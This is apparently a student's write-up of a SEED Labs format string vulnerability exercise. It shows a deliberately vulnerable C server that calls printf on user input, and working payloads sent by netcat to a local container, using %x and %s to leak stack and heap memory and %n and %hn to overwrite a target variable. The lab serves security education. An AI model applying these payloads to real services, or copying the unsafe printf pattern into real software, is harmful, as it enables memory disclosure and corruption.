Format String Vulnerability

---

1. Overview:

The printf() function in C is used to print out a string according to a format. Its first argument is called format string, which defines how the string should be formatted. Format strings use placeholders marked by the % character for the printf() function to fill in data during the printing. The use of format strings is not only limited to the printf() function; many other functions, such as sprintf(), fprintf(), and scanf(), also use format strings. Some programs allow users to provide the entire or part of the contents in a format string. If such contents are not sanitized, malicious users can use this opportunity to get the program to run arbitrary code. A problem like this is called format string vulnerability.

2. Environment Setup:

Turning off counter measures:

```
[03/09/25]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/09/25]seed@VM:~$
```

2.1 Task 1: The Vulnerable Program

Open | format.c ~/Downloads/format/server-code | Save

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>

/* Changing this size will change the layout of the stack.
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 10 and 400  */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif


#if __x86_64__
  unsigned long target = 0x1122334455667788;
#else
  unsigned int  target = 0x11223344;
#endif

char *secret = "A secret message\n";

void dummy_function(char *str);

void myprintf(char *msg)
{
#if __x86_64__
    unsigned long int *framep;
    unsigned long int *framep;
    // Save the rbp value into framep
    asm("movq %%rbp, %0" : "=r" (framep));
    printf("Frame Pointer (inside myprintf):      0x%.16lx\n", (unsigned long) framep);
    printf("The target variable's value (before): 0x%.16lx\n", target);
#else
    unsigned int *framep;
    // Save the ebp value into framep
    asm("movl %%ebp, %0" : "=r"(framep));
    printf("Frame Pointer (inside myprintf):      0x%.8x\n", (unsigned int) framep);
    printf("The target variable's value (before): 0x%.8x\n", target);
#endif

    // This line has a format-string vulnerability
    printf(msg);

#if __x86_64__
    printf("The target variable's value (after):  0x%.16lx\n", target);
#else
    printf("The target variable's value (after):  0x%.8x\n", target);
#endif

}
```

```
55 int main(int argc, char **argv)
56 {
57     char buf[1500];
58
59
60 #if __x86_64__
61     printf("The input buffer's address:    0x%.16lx\n",
   (unsigned long) buf);
62     printf("The secret message's address:  0x%.16lx\n",
   (unsigned long) secret);
63     printf("The target variable's address: 0x%.16lx\n",
   (unsigned long) &target);
64 #else
65     printf("The input buffer's address:    0x%.8x\n",
   (unsigned int)  buf);
66     printf("The secret message's address:  0x%.8x\n",
   (unsigned int)  secret);
67     printf("The target variable's address: 0x%.8x\n",
   (unsigned int)  &target);
68 #endif
69
70     printf("Waiting for user input ......\n");
71     int length = fread(buf, sizeof(char), 1500, stdin);
72     printf("Received %d bytes.\n", length);
73
74     dummy_function(buf);
75     printf("(^_^)(^_^)  Returned properly (^_^)(^_^)\n");
76
77     return 1;
```

```
79
80 // This function is used to insert a stack frame between main
   and myprintf.
81 // The size of the frame can be adjusted at the compilation
   time.
82 // The function itself does not do anything.
83 void dummy_function(char *str)
84 {
85     char dummy_buffer[BUF_SIZE];
86     memset(dummy_buffer, 0, BUF_SIZE);
87
88     myprintf(str);
89 }
```

The above program reads data from the standard input, and then passes the data to myprintf(), which calls printf() to print out the data. The way how the input data is fed into the printf() function is unsafe, and it leads to a format-string vulnerability. We will exploit this

vulnerability. The program will run on a server with the root privilege, and its standard input will be redirected to a TCP connection between the server and a remote user. Therefore, the program actually gets its data from a remote user. If users can exploit this vulnerability, they can cause damages.

Compilation.

We will compile the format program into both 32-bit and 64-bit binaries (for Apple Sili-con machines, we only compile the program into 64-bit binaries). Our pre-built Ubuntu 20.04 VM is a 64-bitVM, but it still supports 32-bit binaries. All we need to do is to use the -m32 option in the gcc command.For 32-bit compilation, we also use -staticto generate a statically-linked binary, which is self-contained and not depending on any dynamic library, because the 32-bit dynamic libraries are not installed in our containers. The compilation commands are already provided inMakefile. To compile the code, you need to type make to execute those commands. After the compilation, we need to copy the binary into the fmt -containers folder, so they can be used by the containers. The following commands conduct compilation and installation.

```
[03/09/25]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -z execstack  -static -m32 -o format-32 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format arguments [-Wf
ormat-security]
   44 |     printf(msg);
      |     ^~~~~~
gcc -DBUF_SIZE=100 -z execstack  -o format-64 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format arguments [-Wf
ormat-security]
   44 |     printf(msg);
      |     ^~~~~~
```

```
[03/09/25]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
[03/09/25]seed@VM:~/.../server-code$
```

2.3 Container Setup and commands:

```
[03/09/25]seed@VM:~/.../format$ docker-compose build
Building fmt-server-1
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
 ---> 1102071f4a1d
Step 2/6 : COPY server    /fmt/
 ---> 62b081aa291b
Step 3/6 : ARG ARCH
 ---> Running in 6d6357e4f5e9
Removing intermediate container 6d6357e4f5e9
 ---> 32a8acb309de
Step 4/6 : COPY format-${ARCH}  /fmt/format
 ---> ca28024930a5
Step 5/6 : WORKDIR /fmt
 ---> Running in fc1bf038208d
Removing intermediate container fc1bf038208d
 ---> d3a8c1ff2f61
Step 6/6 : CMD ./server
 ---> Running in a322f216150b
Removing intermediate container a322f216150b
 ---> fd05b935e319
```

```
[03/09/25]seed@VM:~/.../format$ docker-compose up
Recreating server-10.9.0.6 ... done
Recreating server-10.9.0.5 ... done
Attaching to server-10.9.0.6, server-10.9.0.5
```

```
[03/09/25]seed@VM:~/.../format$ dockps
9c2dcdf47fe1  server-10.9.0.5
043fd77cecf9  server-10.9.0.6
[03/09/25]seed@VM:~/.../format$ docksh 9c
root@9c2dcdf47fe1:/fmt# ls
format  server
root@9c2dcdf47fe1:/fmt#
```

3. Task1: Crashing the Program

Let’s first send a benign message to this server. We will see the following messages printed out by thetarget container (the actual messages you see may be different).

```
[03/09/25]seed@VM:~/.../format$ echo hello | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd130
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 6 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd058
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hello
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

We can now try to crash the program by giving a bunch of %s as input.

```
[03/09/25]seed@VM:~/.../format$ echo %s%s%s%s%s%s%s%s | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd130
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 15 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd058
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

We cannot see the (^_^) face in the last output that we see in the output before that. This means that the program has crashed successfully. This does not crash the container so there isn't any other visible signs other than the logs.

Task 2: Printing Out the Server Program's Memory
Task 2a: Stack Data: The goal is to print our the data on the stack. How many %x do I need to print out the first 4 bytes of my input ?

Let AAAA be the first 4 bytes of my input.

```
[03/09/25]seed@VM:~/.../format$ python3 -c "print('AAAA' + '%x' * 100)" > badfile
[03/09/25]seed@VM:~/.../format$ cat badfile
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[03/09/25]seed@VM:~/.../format$ cat badfile | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd780
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 205 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd6a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | AAAA1122334410008049db580e532080e61c0ffffd780ffffd6a880e62d480e5
000ffffd7488049f7effffd7800648049f4780e532050fffffd84dffffd78080e532080e9720000000
0000000000000000000045f3350080e500080e5000ffffdd688049effffffd780cd5dc80e5320000fff
fde34000cd41414141782578257825782578257825782578257825782578257825782578257825782578257825
782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578
257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825
782578257825782578257825782578257825782578257825782578257825782578257825
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

```
[03/09/25]seed@VM:~/.../format$ python3 -c "print('BBBB' + '%x' * 64)" > badfile
[03/09/25]seed@VM:~/.../format$ cat badfile
BBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
[03/09/25]seed@VM:~/.../format$ cat badfile | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd780
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 133 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd6a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | BBBB1122334410008049db580e532080e61c0ffffd780ffffd6a880e62d480e5
000ffffd7488049f7effffd7800648049f4780e5320557ffffd805ffffd78080e532080e9720000000
0000000000000000000f716b10080e500080e5000ffffdd688049effffffd780855dc80e5320000fff
fde340008542424242
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 2B: Heap data

There is a secret message (a string) stored in the heap area, and you can find the address of this string from the server printout. Your job is to print out this secret message. To achieve this goal, you need to place the address (in the binary form) of the secret message in the format string.

```
[03/09/25]seed@VM:~/.../format$ python3 -c 'print("\x08\x40\x0b\x08%64$s")' > badf
ile
[03/09/25]seed@VM:~/.../format$ cat badfile
@
%64$s
[03/09/25]seed@VM:~/.../format$ cat badfile | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd780
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 10 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd6a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 |@
                 A secret message
server-10.9.0.5 |
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 3 Modifying the Server Program's Memory

Task 3A : Change the value of the target variable which is being printed in the logs to a different value

```
[03/09/25]seed@VM:~/.../format$
[03/09/25]seed@VM:~/.../format$ python3 -c 'print("\x68\x50\x0e\x08%64$n")' > badf
ile
[03/09/25]seed@VM:~/.../format$ cat badfile
h%64$n
[03/09/25]seed@VM:~/.../format$ cat badfile | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd780
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 10 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd6a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | hP
server-10.9.0.5 | The target variable's value (after):  0x00000004
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 3B: Change the value to0x5000.

In this sub-task, we need to change the content of the target variable to a specific value 0x5000. Your task is considered as a success only if the vari-able's value becomes 0x5000.

%n actually modifies the value to the length of the output being printed out.

So, we can simply change make the last value 0x5000 – 0x4 = 0x4ffc = 20,476 in decimal.

So our payload becomes: "\x68\x50\x0e\x08%20476x%64$n"

```
[03/09/25]seed@VM:~/.../format$ python3 -c 'print("\x68\x50\x0e\x08%20476x%64$n")'
 > badfile
[03/09/25]seed@VM:~/.../format$ cat badfile
h%20476x%64$n
[03/09/25]seed@VM:~/.../format$ cat badfile | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
                                                                  11223344
server-10.9.0.5 | The target variable's value (after):  0x00005000
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

Task 3.C: Change the value to 0xAABBCCDD.This sub-task is similar to the previous one, except that the target value is now a large number. Now the target value is very large quite possible larger than our buffer.
Our previous approach of using %n no longer works.
We will have to use %hn We can split 0xAABBCCDD into 0xAABB and 0xCCDD. And we need to store them in 0x68500e08 and 0x6a500e08 respectively.

Now 0xCCDD – 0x8 = 0xCCD9 = 52437. But 0xAABB < 0xCCDD.
So we use 0xAABB. 0x1AABB – 0xCCDD = 0xDDDE = 56798 So our payload becomes
"\x68\x50\x0e\x08\x6a\x50\x0e\x08%52437x%64hn%56798x%65hn"

```
[03/09/25]seed@VM:~/.../format$ python3 -c 'print("\x68\x50\x0e\x08\x6a\x50\x0e\x0
8%52437x%64$hn%56798x%65$hn")' > badfile
[03/09/25]seed@VM:~/.../format$ cat badfile
hj%52437x%64$hn%56798x%65$hn
[03/09/25]seed@VM:~/.../format$ cat badfile | nc 10.9.0.5 9090
^C
[03/09/25]seed@VM:~/.../format$
```

```
                         1000
server-10.9.0.5 | The target variable's value (after):  0xaabbccdd
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```